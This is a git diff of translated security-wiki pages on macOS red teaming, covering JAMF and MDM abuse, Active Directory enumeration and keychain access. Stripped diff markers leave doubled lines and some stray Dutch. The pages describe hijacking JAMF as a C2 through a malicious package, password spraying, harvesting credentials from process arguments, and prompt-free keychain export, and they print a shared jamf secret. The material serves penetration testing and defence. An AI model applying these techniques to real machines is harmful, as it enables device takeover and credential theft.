## MDM's Misbruik
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
As jy daarin slaag om **admin-oortjies te kompromiteer** om toegang tot die bestuursplatform te verkry, kan jy **potensieel al die rekenaars kompromiteer** deur jou malware in die masjiene te versprei.
As jy daarin slaag om **administrateurskredentiale te kompromiteer** om toegang tot die bestuursplatform te verkry, kan jy moontlik al die rekenaars **kompromiteer deur jou malware in die toestelle te versprei**.
Vir rooi-span in MacOS-omgewings word dit sterk aanbeveel om 'n begrip te hê van hoe die MDM's werk:
Vir rooi-spanning in MacOS-omgewings word dit sterk aanbeveel om 'n begrip te hê van hoe die MDM's werk:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
@ -29,15 +30,15 @@ Vir rooi-span in MacOS-omgewings word dit sterk aanbeveel om 'n begrip te hê va
### MDM as 'n C2 gebruik
'n MDM sal toestemming hê om profiele te installeer, navrae te doen of te verwyder, toepassings te installeer, plaaslike admin-rekeninge te skep, firmware-wagwoord in te stel, die FileVault-sleutel te verander...
'n MDM sal toestemming hê om profiele te installeer, navrae te doen of te verwyder, toepassings te installeer, plaaslike administrateursrekeninge te skep, firmwarewagwoord in te stel, die FileVault-sleutel te verander...
Om jou eie MDM te hardloop, moet jy **jou CSR deur 'n verkoper laat onderteken** wat jy kan probeer kry met [**https://mdmcert.download/**](https://mdmcert.download/). En om jou eie MDM vir Apple-toestelle te hardloop, kan jy [**MicroMDM**](https://github.com/micromdm/micromdm) gebruik.
Nogtans, om 'n toepassing op 'n ingeskryfde toestel te installeer, moet dit steeds deur 'n ontwikkelaarrekening onderteken wees... maar met MDM-inskrywing voeg die **toestel die SSL-sertifikaat van die MDM as 'n vertroude CA by**, sodat jy nou enigiets kan onderteken.
Nogtans, om 'n toepassing op 'n ingeskryfde toestel te installeer, moet dit steeds deur 'n ontwikkelaarsrekening onderteken word... maar met MDM-inskrywing voeg die **toestel die SSL-sertifikaat van die MDM as 'n vertroude CA** by, sodat jy nou enigiets kan onderteken.
Om die toestel in 'n MDM in te skryf, moet jy 'n **`mobileconfig`**-lêer as root installeer, wat afgelewer kan word via 'n **pkg**-lêer (jy kan dit in 'n zip komprimeer en wanneer dit vanaf Safari afgelaai word, sal dit gedekomprimeer word).
**Mythic-agent Orthrus** gebruik hierdie tegniek.
**Mythiese agent Orthrus** gebruik hierdie tegniek.
### JAMF PRO Misbruik
@ -45,22 +46,22 @@ JAMF kan **aangepaste skripte** (skripte ontwikkel deur die stelseladministrateu
#### JAMF self-inskrywing
Gaan na 'n bladsy soos `https://<maatskappy-naam>.jamfcloud.com/enroll/` om te sien of hulle **self-inskrywing geaktiveer het**. As hulle dit het, kan dit **versoeke vir geloofsbriefe om toegang te verkry**.
Gaan na 'n bladsy soos `https://<maatskappy-naam>.jamfcloud.com/enroll/` om te sien of hulle **self-inskrywing geaktiveer** het. As hulle dit het, kan dit **versoek om kredentiale te verkry**.
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoord-sproei-aanval uit te voer.
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoordspuitaanval uit te voer.
Verder, nadat jy die regte geloofsbriefe gevind het, kan jy dalk ander gebruikersname met die volgende vorm kragtig maak:
Verder, nadat jy die regte kredentiale gevind het, kan jy dalk ander gebruikersname met die volgende vorm kragtig maak:
![](<../../.gitbook/assets/image (107).png>)
#### JAMF-toestelverifikasie
#### JAMF toestelverifikasie
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
Die **`jamf`** binêre lêer het die geheim bevat om die sleutelhangerte open wat op daardie tydstip gedeel was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
Verder, jamf **volhard** as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
Die **`jamf`** binêre lêer het die geheim bevat om die sleutelhangertoegang oop te maak wat op daardie tydstip **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
Verder, bly jamf voort as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF Toestel-oorneem
#### JAMF Toesteloorneem
Die **JSS** (Jamf Sagteware-bediener) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Hierdie lêer bevat basies die URL:
@ -80,7 +81,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
Dus, 'n aanvaller kan 'n skadelike pakket (`pkg`) laat val wat **hierdie lêer oorskryf** wanneer dit geïnstalleer word deur die **URL na 'n Mythic C2 luisteraar van 'n Typhon agent** te stel om nou JAMF as C2 te misbruik.
Dus, 'n aanvaller kan 'n skadelike pakket (`pkg`) laat val wat **hierdie lêer oorskryf** wanneer dit geïnstalleer word deur die **URL na 'n Mythic C2 luisteraar van 'n Typhon agent** te stel om nou JAMF te misbruik as C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@ -91,20 +92,20 @@ sudo jamf policy -id 0
#### JAMF Nabootsing
Om die **kommunikasie te naboots** tussen 'n toestel en JMF benodig jy:
Ten einde die **kommunikasie te naboots** tussen 'n toestel en JMF benodig jy:
* Die **UUID** van die toestel: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Die **JAMF sleutelbos** vanaf: `/Library/Application\ Support/Jamf/JAMF.keychain` wat die toestel sertifikaat bevat
* Die **JAMF sleutelhang** vanaf: `/Library/Application\ Support/Jamf/JAMF.keychain` wat die toestel sertifikaat bevat
Met hierdie inligting, **skep 'n VM** met die **gesteelde** Hardeware **UUID** en met **SIP uitgeschakel**, laat die **JAMF sleutelbos val**, **hook** die Jamf **agent** en steel sy inligting.
Met hierdie inligting, **skep 'n VM** met die **gesteelde** Hardeware **UUID** en met **SIP gedeaktiveer**, laat die **JAMF sleutelhang val**, **hook** die Jamf **agent** en steel sy inligting.
#### Geheime steel
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins dalk wil uitvoer via Jamf aangesien hulle hier geplaas, uitgevoer en verwyder word. Hierdie skripte **mag kredensiale bevat**.
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins dalk wil uitvoer via Jamf aangesien hulle hier **geplaas, uitgevoer en verwyder** word. Hierdie skripte **mag kredensiale bevat**.
Nietemin, **kredensiale** mag deur hierdie skripte as **parameters** oorgedra word, dus sal jy `ps aux | grep -i jamf` moet monitor (sonder om selfs root te wees).
Nietemin, **kredensiale** mag deurgegee word aan hierdie skripte as **parameters**, dus sal jy `ps aux | grep -i jamf` moet monitor (sonder om selfs root te wees).
Die skrip [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kan luister vir nuwe lêers wat bygevoeg word en nuwe proses argumente.
@ -136,7 +137,7 @@ Sommige **plaaslike MacOS-hulpmiddels** wat jou ook kan help is `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Daar is ook 'n paar gereedskap vir MacOS wat voorberei is om outomaties die AD te ontleed en te speel met kerberos:
Daar is ook 'n paar gereedskap vir MacOS om outomaties die AD te ontleed en te speel met kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is 'n uitbreiding van die Bloodhound ouditeringsgereedskap wat die insameling en opname van Aktiewe Advertensie-verhoudings op MacOS-gashere moontlik maak.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is 'n Objective-C projek wat ontwerp is om met die Heimdal krb5 API's op macOS te interaksieer. Die doel van die projek is om beter sekuriteitstoetsing rondom Kerberos op macOS-toestelle moontlik te maak deur gebruik te maak van inheemse API's sonder om enige ander raamwerk of pakkette op die teiken te vereis.
@ -150,18 +151,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
Die drie tipes MacOS-gebruikers is:
* **Plaaslike Gebruikers** Bestuur deur die plaaslike OpenDirectory-diens, hulle is op geen manier gekoppel aan die Aktiewe Gids nie.
* **Netwerkgebruikers** Vlugtige Aktiewe Gids-gebruikers wat 'n verbinding met die DC-bediener benodig om te verifieer.
* **Mobiele Gebruikers** Aktiewe Gids-gebruikers met 'n plaaslike rugsteun vir hul geloofsbriewe en lêers.
- **Plaaslike Gebruikers** - Bestuur deur die plaaslike OpenDirectory-diens, hulle is op geen enkele manier gekoppel aan die Aktiewe Gids nie.
- **Netwerkgebruikers** - Vlugtige Aktiewe Gids-gebruikers wat 'n verbinding met die DC-bediener benodig om te verifieer.
- **Mobiele Gebruikers** - Aktiewe Gids-gebruikers met 'n plaaslike rugsteun vir hul geloofsbriewe en lêers.
Die plaaslike inligting oor gebruikers en groepe word gestoor in die map _/var/db/dslocal/nodes/Default._\
Byvoorbeeld, die inligting oor 'n gebruiker genaamd _mark_ word gestoor in _/var/db/dslocal/nodes/Default/users/mark.plist_ en die inligting oor die groep _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Benewens die gebruik van die HasSession en AdminTo kante, **MacHound voeg drie nuwe kante** by tot die Bloodhound-databasis:
* **CanSSH** - entiteit wat toegelaat word om SSH na gasheer te gebruik
* **CanVNC** - entiteit wat toegelaat word om VNC na gasheer te gebruik
* **CanAE** - entiteit wat toegelaat word om AppleEvent-skripte op gasheer uit te voer
- **CanSSH** - entiteit wat toegelaat word om SSH na gasheer te maak
- **CanVNC** - entiteit wat toegelaat word om VNC na gasheer te maak
- **CanAE** - entiteit wat toegelaat word om AppleEvent-skripte op gasheer uit te voer
```bash
#User enumeration
dscl . ls /Users
@ -187,7 +188,7 @@ Meer inligting in [https://its-a-feature.github.io/posts/2018/01/Active-Director
## Toegang tot die Sleutelhang
Die Sleutelhang bevat hoogstwaarskynlik sensitiewe inligting wat, indien toegang verkry word sonder om 'n versoek te genereer, kan help om 'n rooi span-oefening voort te sit:
Dit is baie waarskynlik dat die Sleutelhang sensitiewe inligting bevat wat, as dit sonder 'n versoek toegang kry, kan help om 'n rooi span-oefening voort te sit:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -195,13 +196,13 @@ Die Sleutelhang bevat hoogstwaarskynlik sensitiewe inligting wat, indien toegang
## Eksterne Dienste
MacOS Red Teaming verskil van 'n gewone Windows Red Teaming omdat **MacOS gewoonlik geïntegreer is met verskeie eksterne platforms direk**. 'n Gewone konfigurasie van MacOS is om toegang tot die rekenaar te verkry deur **OneLogin gesinkroniseerde geloofsbriewe te gebruik, en toegang te verkry tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
MacOS Red Teaming is anders as 'n gewone Windows Red Teaming omdat **MacOS gewoonlik geïntegreer is met verskeie eksterne platforms direk**. 'n Gewone konfigurasie van MacOS is om toegang tot die rekenaar te verkry deur **OneLogin gesinkroniseerde geloofsbriewe te gebruik, en toegang te verkry tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
## Verskeie Red Team tegnieke
### Safari
Wanneer 'n lêer in Safari afgelaai word, sal dit as dit 'n "veilige" lêer is, **outomaties oopgemaak** word. So byvoorbeeld, as jy 'n zip-lêer **aflaai**, sal dit outomaties uitgepak word:
Wanneer 'n lêer in Safari afgelaai word, sal dit as dit 'n "veilige" lêer is, **outomaties oopgemaak** word. So byvoorbeeld, as jy 'n zip-lêer **aflaai**, sal dit outomaties gedekomprimeer word:
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
@ -210,5 +211,20 @@ Wanneer 'n lêer in Safari afgelaai word, sal dit as dit 'n "veilige" lêer is,
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Kom na die Donker Kant, Ons Het Appels: Maak macOS-bestuurskunde Boos**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
* [**Kom na die Donker Kant, Ons Het Appels: Die Omskakeling van macOS-bestuurskunde tot Boosheid**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "n Aanvaller se Perspektief op Jamf-konfigurasies" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# macOS Sleutelbos
{% hint style="success" %}
Leer en oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **steelmalware** **gekompromitteer** is.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en losgeldaanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
@ -31,51 +32,51 @@ Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
## Hoof Sleutelbosse
* Die **Gebruiker Sleutelbos** (`~/Library/Keychains/login.keycahin-db`), wat gebruik word om **gebruikerspesifieke geloofsbriewe** soos aansoek wagwoorde, internet wagwoorde, gebruikers gegenereerde sertifikate, netwerk wagwoorde, en gebruikers gegenereerde openbare/privaat sleutels te stoor.
* Die **Stelsel Sleutelbos** (`/Library/Keychains/System.keychain`), wat **stelselwye geloofsbriewe** soos WiFi wagwoorde, stelsel wortelsertifikate, stelsel private sleutels, en stelsel aansoek wagwoorde stoor.
* Die **Stelsel Sleutelbos** (`/Library/Keychains/System.keychain`), wat **stelselwye geloofsbriewe** soos WiFi-wagwoorde, stelsel root sertifikate, stelsel private sleutels, en stelsel aansoek wagwoorde stoor.
### Toegang tot Wagwoord Sleutelbos
Hierdie lêers, alhoewel hulle nie inherente beskerming het en **afgelaai** kan word nie, is versleutel en vereis die **gebruiker se platte tekst wagwoord om ontsluit** te word. 'n Gereedskap soos [**Chainbreaker**](https://github.com/n0fate/chainbreaker) kan gebruik word vir ontsleuteling.
Hierdie lêers, alhoewel hulle nie inherente beskerming het en afgelei kan word nie, is versleutel en vereis die **gebruiker se platte tekst wagwoord om ontsluit** te word. 'n Gereedskap soos [**Chainbreaker**](https://github.com/n0fate/chainbreaker) kan gebruik word vir ontsleuteling.
## Sleutelbosinskrywingsbeskerming
### ACLs
### ACL's
Elke inskrywing in die sleutelbos word geregeer deur **Toegangsbeheerlyste (ACLs)** wat bepaal wie verskeie aksies op die sleutelbosinskrywing kan uitvoer, insluitend:
Elke inskrywing in die sleutelbos word geregeer deur **Toegangsbeheerlyste (ACL's)** wat bepaal wie verskeie aksies op die sleutelbosinskrywing kan uitvoer, insluitend:
* **ACLAuhtorizationExportClear**: Laat die houer toe om die teks van die geheim te kry.
* **ACLAuhtorizationExportWrapped**: Laat die houer toe om die teks versleutel met 'n ander voorsiene wagwoord te kry.
* **ACLAuhtorizationAny**: Laat die houer toe om enige aksie uit te voer.
Die ACLs word verder vergesel deur 'n **lys van vertroude aansoeke** wat hierdie aksies sonder 'n versoek kan uitvoer. Dit kan wees:
Die ACL's word verder vergesel deur 'n **lys van vertroue toepassings** wat hierdie aksies sonder vraag kan uitvoer. Dit kan wees:
* **N`il`** (geen toestemming benodig, **almal is vertrou**)
* 'n **leë** lys (**niemand** is vertrou)
* **Lys** van spesifieke **aansoeke**.
* **N`il`** (geen toestemming benodig, **almal is vertrou**).
* 'n **Leë** lys (**niemand is vertrou**).
* **Lys** van spesifieke **toepassings**.
Die inskrywing kan ook die sleutel **`ACLAuthorizationPartitionID`,** bevat wat gebruik word om die **teamid, apple,** en **cdhash** te identifiseer.
Ook kan die inskrywing die sleutel **`ACLAuthorizationPartitionID`** bevat, wat gebruik word om die **teamid, apple,** en **cdhash** te identifiseer.
* As die **teamid** gespesifiseer is, moet die gebruikte aansoek die **selfde teamid** hê om die inskrywingswaarde **sonder** 'n **versoek** te kan **ontsluit**.
* As die **apple** gespesifiseer is, moet die aansoek deur **Apple** wees **onderteken**.
* As die **cdhash** aangedui is, moet die **aansoek** die spesifieke **cdhash** hê.
* As die **teamid** gespesifiseer is, moet die gebruikte toepassing dieselfde **teamid** hê om die inskrywingswaarde **sonder** 'n **vraag** te kan **ontsluit**.
* As die **apple** gespesifiseer is, moet die toepassing deur **Apple** wees.
* As die **cdhash** aangedui word, moet die toepassing die spesifieke **cdhash** hê.
### Skep van 'n Sleutelbosinskrywing
### Skep 'n Sleutelbosinskrywing
Wanneer 'n **nuwe** **inskrywing** geskep word met **`Keychain Access.app`**, geld die volgende reels:
Wanneer 'n **nuwe** **inskrywing** geskep word met behulp van **`Keychain Access.app`**, geld die volgende reels:
* Alle aansoeke kan versleutel.
* **Geen aansoeke** kan uitvoer/ontsleutel (sonder om die gebruiker te versoek).
* Alle aansoeke kan die integriteitskontrole sien.
* Geen aansoeke kan ACLs verander nie.
* Alle toepassings kan versleutel.
* **Geen toepassings** kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle toepassings kan die integriteitskontrole sien.
* Geen toepassings kan ACL's verander nie.
* Die **partitionID** is ingestel op **`apple`**.
Wanneer 'n **aansoek 'n inskrywing in die sleutelbos skep**, is die reels effens anders:
Wanneer 'n **toepassing 'n inskrywing in die sleutelbos skep**, is die reels effens anders:
* Alle aansoeke kan versleutel.
* Slegs die **skeppende aansoek** (of enige ander aansoeke wat eksplisiet bygevoeg is) kan uitvoer/ontsleutel (sonder om die gebruiker te versoek).
* Alle aansoeke kan die integriteitskontrole sien.
* Geen aansoeke kan ACLs verander nie.
* Die **partitionID** is ingestel op **`teamid:[spanID hier]`**.
* Alle toepassings kan versleutel.
* Slegs die **skeppende toepassing** (of enige ander toepassings wat eksplisiet bygevoeg is) kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle toepassings kan die integriteitskontrole sien.
* Geen toepassings kan ACL's verander nie.
* Die **partitionID** is ingestel op **`teamid:[teamID hier]`**.
## Toegang tot die Sleutelbos
@ -102,14 +103,14 @@ Lys en kry **inligting** oor elke sleutelketting inskrywing:
* **`kSecReturnData`**: As waar, sal dit probeer om die data te ontsluit (stel in op vals om potensiële pop-ups te vermy)
* **`kSecReturnRef`**: Kry ook verwysing na sleutelketting item (stel in op waar in geval jy later sien jy kan ontsluit sonder 'n pop-up)
* **`kSecReturnAttributes`**: Kry metadata oor inskrywings
* **`kSecMatchLimit`**: Hoeveel resultate om terug te gee
* **`kSecMatchLimit`**: Hoeveel resultate om terug te keer
* **`kSecClass`**: Watter soort sleutelketting inskrywing
Kry **ACL's** van elke inskrywing:
* Met die API **`SecAccessCopyACLList`** kan jy die **ACL vir die sleutelketting item** kry, en dit sal 'n lys van ACL's teruggee (soos `ACLAuhtorizationExportClear` en die ander voorheen genoemde) waar elke lys het:
* Beskrywing
* **Vertroude Aansoek Lys**. Dit kan wees:
* **Vertroude Aansoeklys**. Dit kan wees:
* 'n Toep: /Applications/Slack.app
* 'n binêre: /usr/libexec/airportd
* 'n groep: group://AirPort
@ -117,9 +118,9 @@ Kry **ACL's** van elke inskrywing:
Voer die data uit:
* Die API **`SecKeychainItemCopyContent`** kry die platte teks
* Die API **`SecItemExport`** voer die sleutels en sertifikate uit maar jy moet moontlik wagwoorde instel om die inhoud versleutel uit te voer
* Die API **`SecItemExport`** voer die sleutels en sertifikate uit, maar dit mag nodig wees om wagwoorde in te stel om die inhoud versleutel uit te voer
En hierdie is die **vereistes** om in staat te wees om **'n geheim uit te voer sonder 'n venster**:
En hierdie is die **vereistes** om in staat te wees om **'n geheim sonder 'n venster uit te voer**:
* As daar **1+ vertroude** programme gelys is:
* Benodig die toepaslike **magtigings** (**`Nil`**, of wees **deel** van die toegelate lys van programme in die magtiging om die geheime inligting te benader)
@ -131,7 +132,7 @@ En hierdie is die **vereistes** om in staat te wees om **'n geheim uit te voer s
* As daar **geen PartitionID** is, is dit nie nodig nie
{% hint style="danger" %}
Daarom, as daar **1 aansoek gelys** is, moet jy **kode inspuit in daardie aansoek**.
Daarom, as daar **1 aansoek gelys** is, moet jy kode **inspuit in daardie aansoek**.
As **apple** aangedui word in die **partitionID**, kan jy dit benader met **`osascript`** sodat enige iets wat alle programme met apple in die partitionID vertrou. **`Python`** kan ook hiervoor gebruik word.
{% endhint %}
@ -140,7 +141,7 @@ As **apple** aangedui word in die **partitionID**, kan jy dit benader met **`osa
* **Onsigbaar**: Dit is 'n booleaanse vlag om die inskrywing van die **UI** Sleutelketting toep te **versteek**
* **Algemeen**: Dit is om **metadata** te stoor (dus dit is NIE VERSLEUTELD NIE)
* Microsoft het al die verfris tokens om toegang tot sensitiewe eindpunt te kry in die plat teks gestoor.
* Microsoft het al die verfris tokens om toegang tot sensitiewe eindpunt te kry, in die platte teks gestoor.
## Verwysings
@ -150,7 +151,7 @@ As **apple** aangedui word in die **partitionID**, kan jy dit benader met **`osa
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **diefstal malware** **gekompromitteer** is.
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **diewe malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening oorneem te bekamp en losgeldware aanvalle te voorkom wat voortspruit uit inligtingsteel malware.
@ -158,16 +159,17 @@ Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# macOS MDM
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
